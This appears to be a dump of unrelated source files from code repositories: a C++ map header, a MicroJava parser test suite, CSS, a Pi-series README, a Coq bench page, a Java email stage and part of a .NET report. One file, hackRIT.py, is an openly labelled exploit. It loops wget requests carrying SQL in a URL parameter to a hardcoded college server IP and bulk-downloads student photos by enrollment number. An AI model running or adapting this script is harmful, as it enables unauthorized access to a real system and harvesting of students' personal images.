code
stringlengths
3
1.05M
repo_name
stringlengths
4
116
path
stringlengths
3
942
language
stringclasses
30 values
license
stringclasses
15 values
size
int32
3
1.05M
// MIT License // Copyright (c) 2017 Simon Pettersson // Permission is hereby granted, free of charge, to any person obtaining a copy // of this software and associated documentation files (the "Software"), to deal // in the Software without restriction, including without limitation the rights // to use, copy, modify, merge, publish, distribute, sublicense, and/or sell // copies of the Software, and to permit persons to whom the Software is // furnished to do so, subject to the following conditions: // The above copyright notice and this permission notice shall be included in all // copies or substantial portions of the Software. // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR // IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, // FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE // AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER // LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, // OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE // SOFTWARE. #pragma once #include <stdexcept> #include <optional> namespace cmap { /* The underlying model for the binary tree */ namespace _model { /* A map is built like a binary tree as illustrated below. f1(k) / \ / \ f2(k) f3(k) / \ / \ f4(k) f5(k) Each subtree f1,f2,f3,f4,f5 is a function which evaluates a key and returns an `std::optional` with a value if the key matches a key in that subtree, or `std::nullopt` if there was no match in that subtree. To construct the tree we utilize two factory functions * One called `make_terminal(k,v)` which creates a function that evaluates a key and returns a std::optional. * One called `make_branch(left,right)` which creates a branch node, a function that first evaluates the left subtree, if there is a match the left subtree is returned. If unsuccessful it returns the right subtree. Example: Construct the tree above const auto f5 = make_terminal(5,15); const auto f4 = make_terminal(4,14); const auto f2 = make_terminal(3,13); const auto f3 = make_branch(f4, f5); const auto f1 = make_branch(f2, f3); // Performing a lookup for the value `5` would // produce the stacktrace f1(5) f2(5) -> {false, 13} f3(5) f4(5) -> {false, 14} f5(5) -> {true, 15} ... -> {true, 15} In order to easily chain together multiple subtrees there is a utility function called `merge(node1, ...)` which takes all the terminal nodes as arguments and automatically creates the branches. To reproduce the previous example using the merge function one could do the following. Example: Construct the same tree using the `merge` function const auto f5 = make_terminal(5,15); const auto f4 = make_terminal(4,14); const auto f2 = make_terminal(3,13); const auto f1 = merge(f2,f4,f5); Since the whole model is completely independent of the datatype stored there is literally no limit to what you can store in the map, as long as it is copy constructible. That means that you can nest maps and store complex types. */ template<typename K, typename V> constexpr auto make_terminal(const K key, const V value) { return [key,value](const auto _key) { return key == _key ? std::make_optional(value) : std::nullopt; }; }; constexpr auto make_branch(const auto left, const auto right) { return [left,right](auto key) -> decltype(left(key)) { const auto result = left(key); if(result != std::nullopt) { return result; } return right(key); }; } constexpr auto merge(const auto node) { return node; } constexpr auto merge(const auto left, const auto ... rest) { return make_branch(left, merge(rest...)); } } /* Functional interface Example: constexpr auto map = make_map(map(13,43), map(14,44)); constexpr auto fourty_three = lookup(map, 13); constexpr auto fourty_four = lookup(map, 14); */ constexpr auto make_map(const auto ... rest) { return _model::merge(rest...); } constexpr auto map(const auto key, const auto value) { return _model::make_terminal(key, value); } constexpr auto lookup(const auto tree, const auto key) { const auto result = tree(key); return result != std::nullopt ? result.value() : throw std::out_of_range("No such key"); } /* Class interface Example: constexpr auto map = make_lookup(map(13,43), map(14,44)); constexpr auto fourty_three = map[13]; constexpr auto fourty_four = map[14]; */ template<typename TLookup> struct lookup_type { constexpr lookup_type(const TLookup m) : map{m} {} constexpr auto operator[](const auto key) const { return lookup(map, key); } const TLookup map; }; constexpr auto make_lookup(lookup_type<auto> ... rest) { return lookup_type{make_map(rest.map...)}; } constexpr auto make_lookup(const auto ... rest) { return lookup_type{make_map(rest...)}; } } // namespace cmap
simonvpe/cmap
include/cmap.hpp
C++
mit
5,268
/* MicroJava Parser Semantic Tester * * Test only semantics. The grammar in all tests are correct. */ package MicroJava; import java.io.*; public class TestParserSemantic { public static void main(String args[]) { if (args.length == 0) { executeTests(); } else { for (int i = 0; i < args.length; ++i) { reportFile(args[i]); } } } private static void reportFile(String filename) { try { report("File: " + filename, new InputStreamReader(new FileInputStream(filename))); } catch (IOException e) { System.out.println("-- cannot open file " + filename); } } private static void report(String header, Reader reader) { System.out.println(header); Parser parser = new Parser(reader); parser.parse(); System.out.println(parser.errors + " errors detected\n"); } private static Parser createParser(String input) { Parser parser = new Parser(new StringReader(input)); parser.showSemanticError = true; parser.code.showError = false; parser.scan(); // get first token return parser; } private static void executeTests() { testClassDecl(); testCondition(); testConstDecl(); testDesignator(); testExpr(); testFactor(); testFormPars(); testMethodDecl(); testProgram(); testStatement(); testTerm(); testType(); testVarDecl(); } private static void testClassDecl() { System.out.println("Test: ClassDecl"); createParser("class A {}").ClassDecl(); createParser("class B { int b; }").ClassDecl(); createParser("class C { int c1; char[] c2; }").ClassDecl(); createParser("class D {} class E { D d; }").ClassDecl().ClassDecl(); System.out.println("Test: ClassDecl errors"); createParser("class int {}").ClassDecl(); createParser("class char {}").ClassDecl(); createParser("class F { F[] f; }").ClassDecl(); createParser("class H { int H; }").ClassDecl(); createParser("class J { int j; char j; }").ClassDecl(); // invalid type (X not declared) createParser("class K { X k; }").ClassDecl(); // atribute name is the same of the type of variable createParser("class L {} class M { L L; }").ClassDecl().ClassDecl(); createParser("class N { N N; }").ClassDecl(); System.out.println(); } private static void testCondition() { System.out.println("Test: Condition"); createParser("2 == 3").Condition(); createParser("int[] a, b; a == b").VarDecl().Condition(); createParser("char[] c, d; c != d").VarDecl().Condition(); createParser("class E{} E e, f; e == f e != f") .ClassDecl().VarDecl().Condition().Condition(); System.out.println("Test: Condition errors"); createParser("2 + 3 == 'a'").Condition(); createParser("int[] ia, ib; ia > ib").VarDecl().Condition(); createParser("class X{} X x, y; x <= y").ClassDecl().VarDecl().Condition(); createParser("class W{ int[] a; } W w; int[] b; w.a <= b") .ClassDecl().VarDecl().VarDecl().Condition(); createParser("class Z{} Z z; int[] r; r == z") .ClassDecl().VarDecl().VarDecl().Condition(); System.out.println(); } private static void testConstDecl() { System.out.println("Test: ConstDecl"); createParser("final int b = 2;").ConstDecl(); createParser("final char c = 'c';").ConstDecl(); System.out.println("Test: ConstDecl errors"); createParser("final int d = 'd';").ConstDecl(); createParser("final char e = 1;").ConstDecl(); // array is not accept createParser("final int[] f = 1;").ConstDecl(); createParser("final char[] g = 'g';").ConstDecl(); System.out.println(); } private static void testDesignator() { System.out.println("Test: Designator"); createParser("class A {} A a; a = new A; a") .ClassDecl().VarDecl().Statement().Designator(); createParser("class B { int bb; } B b; b = new B; b.bb") .ClassDecl().VarDecl().Statement().Designator(); createParser("class C { char c1; int c2; } C c; c = new C; c.c1 c.c2") .ClassDecl().VarDecl().Statement().Designator().Designator(); createParser("int[] d; d[2]").VarDecl().Designator(); System.out.println("Test: Designator errors"); createParser("int x; x.y").VarDecl().Designator(); createParser("class M { int m; } M.m").ClassDecl().Designator(); System.out.println(); } private static void testExpr() { System.out.println("Test: Expr"); createParser("2 + 3").Expr(); createParser("-4").Expr(); createParser("-5 * 6").Expr(); createParser("int a; a * 6").VarDecl().Expr(); createParser("int b, c, d; b * 6 + c * d").VarDecl().Expr(); System.out.println("Test: Expr errors"); createParser("-'a'").Expr(); createParser("-2 * 'b'").Expr(); createParser("-3 * 'c' * 4").Expr(); createParser("-5 * 'd' * 6 + 7").Expr(); createParser("char e; e - 'f' % 'g'").VarDecl().Expr(); createParser("void m(){} m + 8").MethodDecl().Expr(); System.out.println(); } private static void testFactor() { System.out.println("Test: Factor"); // new createParser("new int[2]").Factor(); createParser("int size; new char[size]").VarDecl().Factor(); createParser("class A {} new A").ClassDecl().Factor(); createParser("class B {} new B[2]").ClassDecl().Factor(); // designator: variable createParser("int i; i").VarDecl().Factor(); // designator: method */ createParser("int m1(int i, int j) {} m1(2, 3)").MethodDecl().Factor(); System.out.println("Test: Factor errors"); // new createParser("new int").Factor(); createParser("new char").Factor(); createParser("new X").Factor(); createParser("new Y[2]").Factor(); createParser("class G {} new G['b']").ClassDecl().Factor(); // designator: variable createParser("int w; w()").VarDecl().Factor(); // designator: method createParser("int me1() {} me1(1)").MethodDecl().Factor(); createParser("int me2(int i, int j) {} me2(2)").MethodDecl().Factor(); createParser("char me3(char c) {} me3(3)").MethodDecl().Factor(); createParser("char me4(int i, int j, char k) {} me4(4, 'c', 6)").MethodDecl().Factor(); // void methods (procedures) cannot be used in a expression context. // Factor is always called in an expression context (Expr -> Term -> Factor) createParser("void m5() {} m5()").MethodDecl().Factor(); createParser("void m6(char c) {} m6('c')").MethodDecl().Factor(); System.out.println(); } private static void testFormPars() { System.out.println("Test: FormPars"); createParser("int i, char c, int[] ia, char[] ca").FormPars(); createParser("class A {} A a, A[] aa").ClassDecl().FormPars(); System.out.println("Test: FormPars errors"); createParser("int char, int char").FormPars(); createParser("B b, C[] c").FormPars(); System.out.println(); } private static void testMethodDecl() { System.out.println("Test: MethodDecl"); createParser("int[] a(int[] ia, char[] ca) int i; char c; {}").MethodDecl(); createParser("void b() int i; char c; {}").MethodDecl(); createParser("class C {} \n C c() {}").ClassDecl().MethodDecl(); createParser("class D {} \n D[] d(D dp) D dv; {}").ClassDecl().MethodDecl(); System.out.println("Test: MethodDecl errors"); createParser("int char() {}").MethodDecl(); createParser("void m(G g) {}").MethodDecl(); System.out.println(); } private static void testProgram() { System.out.println("Test: Program"); createParser("program P { void main() {} }").Program(); createParser("program ABC {" + " void f() {}" + " void main() { return ; }" + " int g(int x) { return x*2; }" + " }").Program(); System.out.println("Test: Program errors"); createParser("program E1 { }").Program(); createParser("program E2 { int main() { } }").Program(); createParser("program E3 { void main(int i) { } }").Program(); System.out.println(); } private static void testStatement() { System.out.println("Test: Statement"); // Designator "=" Expr ";" createParser("int b; b = 2;").VarDecl().Statement(); createParser("char c, d; c = d;").VarDecl().Statement(); createParser("int[] e; e[3] = 3;").VarDecl().Statement(); createParser("class A { int i; } A a; a.i = 4;").ClassDecl().VarDecl().Statement(); createParser("int[] ia; ia = new int[5];").VarDecl().Statement(); createParser("char[] ca; ca = new char[6];").VarDecl().Statement(); // Designator ActPars ";" createParser("void f() {} f();").MethodDecl().Statement(); // "print" "(" Expr ["," number] ")" ";" createParser("print(2); print('c');").Statement().Statement(); createParser("print(3, 4);").Statement(); // "read" "(" Designator ")" ";" createParser("int i; read(i);").VarDecl().Statement(); createParser("char c; read(c);").VarDecl().Statement(); createParser("char[] ca; read(ca[2]);").VarDecl().Statement(); createParser("class C {int i;} C o; read(o.i);").ClassDecl().VarDecl().Statement(); // "return" [Expr] ";" createParser("void f() { return ;}").MethodDecl(); createParser("int g() { return 2;}").MethodDecl(); createParser("char h() { return 'c';}").MethodDecl(); System.out.println("Test: Statement errors"); // Designator "=" Expr createParser("int b; b = 'c';").VarDecl().Statement(); createParser("char[] c; c[4] = 4;").VarDecl().Statement(); createParser("class A { int i; } A a; a.i = '4';").ClassDecl().VarDecl().Statement(); createParser("int[] ia; ia = new char[5];").VarDecl().Statement(); createParser("char[] ca; ca = new int[6];").VarDecl().Statement(); // Designator ActPars createParser("int g; g();").VarDecl().Statement(); // "print" "(" Expr ["," number] ")" ";" createParser("class C {} C c; print(c);").ClassDecl().VarDecl().Statement(); createParser("print(5, 'd');").Statement(); // "read" "(" Designator ")" ";" createParser("class C {} C c; read(c);").ClassDecl().VarDecl().Statement(); // "return" [Expr] ";" createParser("void p() { return 1; }").MethodDecl(); createParser("int q() { return 'c';}").MethodDecl(); createParser("char r() { return 2;}").MethodDecl(); createParser("int s() { return ;}").MethodDecl(); System.out.println(); } private static void testTerm() { System.out.println("Test: Term"); createParser("2 * 3").Term(); createParser("4").Term(); createParser("5 * (-6)").Term(); createParser("'a'").Term(); createParser("int a, b; a * (-7) * b").VarDecl().Term(); createParser("char a; a").VarDecl().Term(); System.out.println("Test: Term errors"); createParser("2 * 'b'").Term(); createParser("'c' * 3").Term(); createParser("char d; d * 'e'").VarDecl().Term(); System.out.println(); } private static void testType() { System.out.println("Test: Type"); createParser("int").Type(); createParser("int[]").Type(); createParser("char").Type(); createParser("char[]").Type(); createParser("class A {} A").ClassDecl().Type(); System.out.println("Test: Type errors"); createParser("class").Type(); createParser("MyClass").Type(); System.out.println(); } private static void testVarDecl() { System.out.println("Test: VarDecl"); createParser("int x;").VarDecl(); createParser("int x, y;").VarDecl(); createParser("int x, X;").VarDecl(); // case-sensitive variables createParser("int x, y, z, X, Y, Z;").VarDecl(); System.out.println("Test: VarDecl errors"); createParser("int int;").VarDecl(); createParser("int char;").VarDecl(); createParser("char int;").VarDecl(); createParser("char char;").VarDecl(); createParser("int s, s;").VarDecl(); createParser("int t, char, t, int;").VarDecl(); createParser("int x, w, p, q, r, w;").VarDecl(); System.out.println(); } }
gabrielnobregal/mjcide
src/MicroJava/TestParserSemantic.java
Java
mit
13,139
.typeahead-container { width: 240px; position: relative; margin-top: 10px; margin-left: 10px; } .typeahead-container.show .dropdown-menu { display: block; } .dropdown-menu { display: none; }
JlineZen/angularComponents
typeahead/src/typeahead.css
CSS
mit
216
import os #Decoration Starts print """ +=============================================================+ || Privilege Escalation Exploit || || +===================================================+ || || | _ _ _ ____ _ __ ____ ___ _____ | || || | | | | | / \ / ___| |/ / | _ \|_ _|_ _| | || || | | |_| | / _ \| | | ' / | |_) || | | | | || || | | _ |/ ___ \ |___| . \ | _ < | | | | | || || | |_| |_/_/ \_\____|_|\_\ |_| \_\___| |_| | || || | | || || +===================================================+ || || ~ by Yadnyawalkya Tale ([email protected]) ~ || +=============================================================+ """ #Decoration Ends # Class according to Year Input print "\n1. B.Tech Final Year\n2. T.Y.B.Tech\n3. S.Y.B.Tech\n4. F.Y.Tech" year_input = input() if year_input == 1: year_choice = 1300000 #Final Year elif year_input == 2: year_choice = 1400000 #Third Year elif year_input == 3: year_choice = 1500000 #Second Year elif year_input == 4: year_choice = 1600000 #First Year # Department Class Input print "\n1.Automobile\n2.Civil\n3.ComputerScience\n4.InformationTechnology\n5.ETC\n6.Electrial\n7.Mech" class_input = input() if class_input == 1: class_choice = 1000 #Automobile Department elif class_input == 2: class_choice = 2000 #Civil Department elif class_input == 3: class_choice = 3000 #ComputerScience Department elif class_input == 4: class_choice = 4000 #InformationTechnology Department elif class_input == 5: class_choice = 5000 #ETC Department elif class_input == 6: class_choice = 8000 #Electrial Department elif class_input == 7: class_choice = 6000 #Mechanical Department startflag = year_choice + class_choice #For eg. Start @ 1303000 if class_input == 7: endflag = year_choice + class_choice + 70 +128 #Special Arrangement for Mechanical ;) else: endflag = year_choice + class_choice + 70 #For eg. End @ 1303070 os.system("mkdir ritphotos") decoration="=" while startflag < endflag: startflag = startflag + 1 cmd1 = "wget http://210.212.171.168/ritcloud/StudentPhoto.ashx?ID=SELECT%20Photo%20FROM%20StudMstAll%20WHERE%20EnrollNo%20=%20%27{0}%27 -O ritphotos/photo_{1}.jpg 2>/dev/null ".format(startflag,startflag) os.system(cmd1) decoration = "=" + decoration print "{0}".format(decoration) print "100%\tPlease Wait..." pstartflag = year_choice + class_choice + 150000 if class_input == 7: pendflag = year_choice + class_choice + 40 + 150000 #For All branches else: pendflag = year_choice + class_choice + 15 + 150000 #Special Arrangement for Mechanical ;) while pstartflag < pendflag: pstartflag = pstartflag + 1 cmd2 = "wget http://210.212.171.168/ritcloud/StudentPhoto.ashx?ID=SELECT%20Photo%20FROM%20StudMstAll%20WHERE%20EnrollNo%20=%20%27{0}%27 -O ritphotos/photo_{1}.jpg 2>/dev/null ".format(pstartflag,pstartflag) os.system(cmd2) print "Downloading Images Complete..." os.system("find ritphotos -size 0 -print0 |xargs -0 rm 2>/dev/null ") #Remove 0-Size Images
Yadnyawalkya/hackRIT
hackRIT.py
Python
mit
3,140
# pi ### Simple implementation of Pi calculation ### Calculates Pi by the infinite series: ``` 4 * Pi = 1 - 1/3 + 1/5 - 1/7 + ... ``` For simplicity of implementation, I have converted this to the equivalent formulation: ``` Pi = 4 - 4/3 + 4/5 - 4/7 + ... ``` The code algorithm is implemented in iterative style. While it is possible to implement this algorithm in a recursove style, since Java 8 compiler does not implement tail-call recursion optimisation, the code hits a Stack Overflow exception for n = 100 on my machine. By comparison, the Scala compiler does perform this optimisation, and a tail recursive solution would have the same performance characteristics as the iterative java version. ### Build using Maven: ``` mvn package ``` ### Usage: ``` java -jar ./target/pi-1.0-SNAPSHOT.jar n ``` where n = number or elements to use to approximate Pi.
adampwells/pi
README.md
Markdown
mit
886
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <title>coqoban: Not compatible 👼</title> <link rel="shortcut icon" type="image/png" href="../../../../../favicon.png" /> <link href="../../../../../bootstrap.min.css" rel="stylesheet"> <link href="../../../../../bootstrap-custom.css" rel="stylesheet"> <link href="//maxcdn.bootstrapcdn.com/font-awesome/4.2.0/css/font-awesome.min.css" rel="stylesheet"> <script src="../../../../../moment.min.js"></script> <!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> <!-- WARNING: Respond.js doesn't work if you view the page via file:// --> <!--[if lt IE 9]> <script src="https://oss.maxcdn.com/html5shiv/3.7.2/html5shiv.min.js"></script> <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script> <![endif]--> </head> <body> <div class="container"> <div class="navbar navbar-default" role="navigation"> <div class="container-fluid"> <div class="navbar-header"> <a class="navbar-brand" href="../../../../.."><i class="fa fa-lg fa-flag-checkered"></i> Coq bench</a> </div> <div id="navbar" class="collapse navbar-collapse"> <ul class="nav navbar-nav"> <li><a href="../..">clean / extra-dev</a></li> <li class="active"><a href="">8.11.dev / coqoban - dev</a></li> </ul> </div> </div> </div> <div class="article"> <div class="row"> <div class="col-md-12"> <a href="../..">« Up</a> <h1> coqoban <small> dev <span class="label label-info">Not compatible 👼</span> </small> </h1> <p>📅 <em><script>document.write(moment("2020-07-16 03:01:33 +0000", "YYYY-MM-DD HH:mm:ss Z").fromNow());</script> (2020-07-16 03:01:33 UTC)</em><p> <h2>Context</h2> <pre># Packages matching: installed # Name # Installed # Synopsis base-bigarray base base-threads base base-unix base conf-findutils 1 Virtual package relying on findutils conf-m4 1 Virtual package relying on m4 coq 8.11.dev Formal proof management system num 1.3 The legacy Num library for arbitrary-precision integer and rational arithmetic ocaml 4.07.1 The OCaml compiler (virtual package) ocaml-base-compiler 4.07.1 Official release 4.07.1 ocaml-config 1 OCaml Switch Configuration ocamlfind 1.8.1 A library manager for OCaml # opam file: opam-version: &quot;2.0&quot; maintainer: &quot;[email protected]&quot; homepage: &quot;https://github.com/coq-contribs/coqoban&quot; license: &quot;LGPL 2&quot; build: [ [&quot;coq_makefile&quot; &quot;-f&quot; &quot;Make&quot; &quot;-o&quot; &quot;Makefile&quot;] [make &quot;-j%{jobs}%&quot;] ] install: [make &quot;install&quot;] remove: [&quot;rm&quot; &quot;-R&quot; &quot;%{lib}%/coq/user-contrib/Coqoban&quot;] depends: [ &quot;ocaml&quot; &quot;coq&quot; {= &quot;dev&quot;} ] tags: [ &quot;keyword:sokoban&quot; &quot;keyword:puzzles&quot; &quot;category:Miscellaneous/Logical Puzzles and Entertainment&quot; &quot;date:2003-09-19&quot; ] authors: [ &quot;Jasper Stein &lt;&gt;&quot; ] synopsis: &quot;Coqoban (Sokoban).&quot; description: &quot;&quot;&quot; A Coq implementation of Sokoban, the Japanese warehouse keepers&#39; game&quot;&quot;&quot; flags: light-uninstall url { src: &quot;git+https://github.com/coq-contribs/coqoban.git#master&quot; } </pre> <h2>Lint</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Dry install 🏜️</h2> <p>Dry install with the current Coq version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam install -y --show-action coq-coqoban.dev coq.8.11.dev</code></dd> <dt>Return code</dt> <dd>5120</dd> <dt>Output</dt> <dd><pre>[NOTE] Package coq is already installed (current version is 8.11.dev). The following dependencies couldn&#39;t be met: - coq-coqoban -&gt; coq &gt;= dev Your request can&#39;t be satisfied: - No available version of coq satisfies the constraints No solution found, exiting </pre></dd> </dl> <p>Dry install without Coq/switch base, to test if the problem was incompatibility with the current Coq/OCaml version:</p> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>opam remove -y coq; opam install -y --show-action --unlock-base coq-coqoban.dev</code></dd> <dt>Return code</dt> <dd>0</dd> </dl> <h2>Install dependencies</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Install 🚀</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Duration</dt> <dd>0 s</dd> </dl> <h2>Installation size</h2> <p>No files were installed.</p> <h2>Uninstall 🧹</h2> <dl class="dl-horizontal"> <dt>Command</dt> <dd><code>true</code></dd> <dt>Return code</dt> <dd>0</dd> <dt>Missing removes</dt> <dd> none </dd> <dt>Wrong removes</dt> <dd> none </dd> </dl> </div> </div> </div> <hr/> <div class="footer"> <p class="text-center"> Sources are on <a href="https://github.com/coq-bench">GitHub</a> © Guillaume Claret 🐣 </p> </div> </div> <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.1/jquery.min.js"></script> <script src="../../../../../bootstrap.min.js"></script> </body> </html>
coq-bench/coq-bench.github.io
clean/Linux-x86_64-4.07.1-2.0.6/extra-dev/8.11.dev/coqoban/dev.html
HTML
mit
6,590
package fi.helsinki.cs.okkopa.main.stage; import fi.helsinki.cs.okkopa.mail.read.EmailRead; import fi.helsinki.cs.okkopa.main.ExceptionLogger; import java.io.IOException; import java.io.InputStream; import java.util.List; import javax.mail.Message; import javax.mail.MessagingException; import org.apache.commons.io.IOUtils; import org.apache.log4j.Logger; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; /** * Retrieves new emails and processes the attachments one by one by calling the next stage repeatedly. */ @Component public class GetEmailStage extends Stage<Object, InputStream> { private static final Logger LOGGER = Logger.getLogger(GetEmailStage.class.getName()); private EmailRead emailReader; private ExceptionLogger exceptionLogger; /** * * @param server * @param exceptionLogger */ @Autowired public GetEmailStage(EmailRead server, ExceptionLogger exceptionLogger) { this.exceptionLogger = exceptionLogger; this.emailReader = server; } @Override public void process(Object in) { try { emailReader.connect(); LOGGER.debug("Kirjauduttu sisään."); loopMessagesAsLongAsThereAreNew(); LOGGER.debug("Ei lisää viestejä."); } catch (MessagingException | IOException ex) { exceptionLogger.logException(ex); } finally { emailReader.closeQuietly(); } } private void processAttachments(Message nextMessage) throws MessagingException, IOException { List<InputStream> messagesAttachments = emailReader.getMessagesAttachments(nextMessage); for (InputStream attachment : messagesAttachments) { LOGGER.debug("Käsitellään liitettä."); processNextStages(attachment); IOUtils.closeQuietly(attachment); } } private void loopMessagesAsLongAsThereAreNew() throws MessagingException, IOException { Message nextMessage = emailReader.getNextMessage(); while (nextMessage != null) { LOGGER.debug("Sähköposti haettu."); processAttachments(nextMessage); emailReader.cleanUpMessage(nextMessage); nextMessage = emailReader.getNextMessage(); } } }
ohtuprojekti/OKKoPa_all
OKKoPa_core/src/main/java/fi/helsinki/cs/okkopa/main/stage/GetEmailStage.java
Java
mit
2,409
<!DOCTYPE html> <html xmlns:msxsl="urn:schemas-microsoft-com:xslt"> <head> <meta content="en-us" http-equiv="Content-Language" /> <meta content="text/html; charset=utf-16" http-equiv="Content-Type" /> <title _locid="PortabilityAnalysis0">.NET Portability Report</title> <style> /* Body style, for the entire document */ body { background: #F3F3F4; color: #1E1E1F; font-family: "Segoe UI", Tahoma, Geneva, Verdana, sans-serif; padding: 0; margin: 0; } /* Header1 style, used for the main title */ h1 { padding: 10px 0px 10px 10px; font-size: 21pt; background-color: #E2E2E2; border-bottom: 1px #C1C1C2 solid; color: #201F20; margin: 0; font-weight: normal; } /* Header2 style, used for "Overview" and other sections */ h2 { font-size: 18pt; font-weight: normal; padding: 15px 0 5px 0; margin: 0; } /* Header3 style, used for sub-sections, such as project name */ h3 { font-weight: normal; font-size: 15pt; margin: 0; padding: 15px 0 5px 0; background-color: transparent; } h4 { font-weight: normal; font-size: 12pt; margin: 0; padding: 0 0 0 0; background-color: transparent; } /* Color all hyperlinks one color */ a { color: #1382CE; } /* Paragraph text (for longer informational messages) */ p { font-size: 10pt; } /* Table styles */ table { border-spacing: 0 0; border-collapse: collapse; font-size: 10pt; } table th { background: #E7E7E8; text-align: left; text-decoration: none; font-weight: normal; padding: 3px 6px 3px 6px; } table td { vertical-align: top; padding: 3px 6px 5px 5px; margin: 0px; border: 1px solid #E7E7E8; background: #F7F7F8; } .NoBreakingChanges { color: darkgreen; font-weight:bold; } .FewBreakingChanges { color: orange; font-weight:bold; } .ManyBreakingChanges { color: red; font-weight:bold; } .BreakDetails { margin-left: 30px; } .CompatMessage { font-style: italic; font-size: 10pt; } .GoodMessage { color: darkgreen; } /* Local link is a style for hyperlinks that link to file:/// content, there are lots so color them as 'normal' text until the user mouse overs */ .localLink { color: #1E1E1F; background: #EEEEED; text-decoration: none; } .localLink:hover { color: #1382CE; background: #FFFF99; text-decoration: none; } /* Center text, used in the over views cells that contain message level counts */ .textCentered { text-align: center; } /* The message cells in message tables should take up all avaliable space */ .messageCell { width: 100%; } /* Padding around the content after the h1 */ #content { padding: 0px 12px 12px 12px; } /* The overview table expands to width, with a max width of 97% */ #overview table { width: auto; max-width: 75%; } /* The messages tables are always 97% width */ #messages table { width: 97%; } /* All Icons */ .IconSuccessEncoded, .IconInfoEncoded, .IconWarningEncoded, .IconErrorEncoded { min-width: 18px; min-height: 18px; background-repeat: no-repeat; background-position: center; } /* Success icon encoded */ .IconSuccessEncoded { /* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */ /* [---XsltValidateInternal-Base64EncodedImage:IconSuccess#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */ background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABPElEQVR4Xp1Tv0vDUBi8FqeA4NpBcBLcWnQSApncOnTo4FSnjP0DsnXpH5CxiwbHDg4Zuj4oOEXiJgiC4FDcCkLWmIMc1Pfw+eMgQ77v3Xf3Pe51YKGqqisAEwCR1TIAsiAIblSo6xrdHeJR85Xle3mdmCQKb0PsfqyxxzM8K15HZADl/H5+sHpZwYfxyRjTs+kWwKBx8yoHd2mRiuzF8mkJniWH/13u3Fjrs/EdhsdDFHGB/DLXEJBDLh1MWPAhPo1BLB4WX5yQywHR+m3tVe/t97D52CB/ziG0nIgD/qDuYg8WuCcVZ2YGwlJ3YDugkpR/VNcAEx6GEKhERSr71FuO4YCM4XBdwKvecjIlkSnsO0Hyp/GxSeJAdzBKzpOtnPwyyiPdAZhpZptT04tU+zk7s8czeges//s5C5+CwqrR4/gw+AAAAABJRU5ErkJggg==); } /* Information icon encoded */ .IconInfoEncoded { /* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */ /* [---XsltValidateInternal-Base64EncodedImage:IconInformation#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */ background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAABHElEQVR4Xs2TsUoDQRRF7wwoziokjZUKadInhdhukR9YP8DMX1hYW+QvdsXa/QHBbcXC7W0CamWTQnclFutceIQJwwaWNLlwm5k5d94M76mmaeCrrmsLYOocY12FcxZFUeozCqKqqgYA8uevv1H6VuPxcwlfk5N92KHBxfFeCSAxxswlYAW/Xr989x/mv9gkhtyMDhcAxgzRsp7flj8B/HF1RsMXq+NZMkopaHe7lbKxQUEIGbKsYNoGn969060hZBkQex/W8oRQwsQaW2o3Ago2SVcJUzAgY3N0lTCZZm+zPS8HB51gMmS1DEYyOz9acKO1D8JWTlafKIMxdhvlfdyT94Vv5h7P8Ky7nQzACmhvKq3zk3PjW9asz9D/1oigecsioooAAAAASUVORK5CYII=); } /* Warning icon encoded */ .IconWarningEncoded { /* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */ /* [---XsltValidateInternal-Base64EncodedImage:IconWarning#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */ background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAx0lEQVR4XpWSMQ7CMAxFf4xAyBMLCxMrO8dhaBcuwdCJS3RJBw7SA/QGTCxdWJgiQYWKXJWKIXHIlyw5lqr34tQgEOdcBsCOx5yZK3hCCKdYXneQkh4pEfqzLfu+wVDSyyzFoJjfz9NB+pAF+eizx2Vruts0k15mPgvS6GYvpVtQhB61IB/dk6AF6fS4Ben0uIX5odtFe8Q/eW1KvFeH4e8khT6+gm5B+t3juyDt7n0jpe+CANTd+oTUjN/U3yVaABnSUjFz/gFq44JaVSCXeQAAAABJRU5ErkJggg==); } /* Error icon encoded */ .IconErrorEncoded { /* Note: Do not delete the comment below. It is used to verify the correctness of the encoded image resource below before the product is released */ /* [---XsltValidateInternal-Base64EncodedImage:IconError#Begin#background-image: url(data:image/png;base64,#Separator#);#End#] */ background-image: 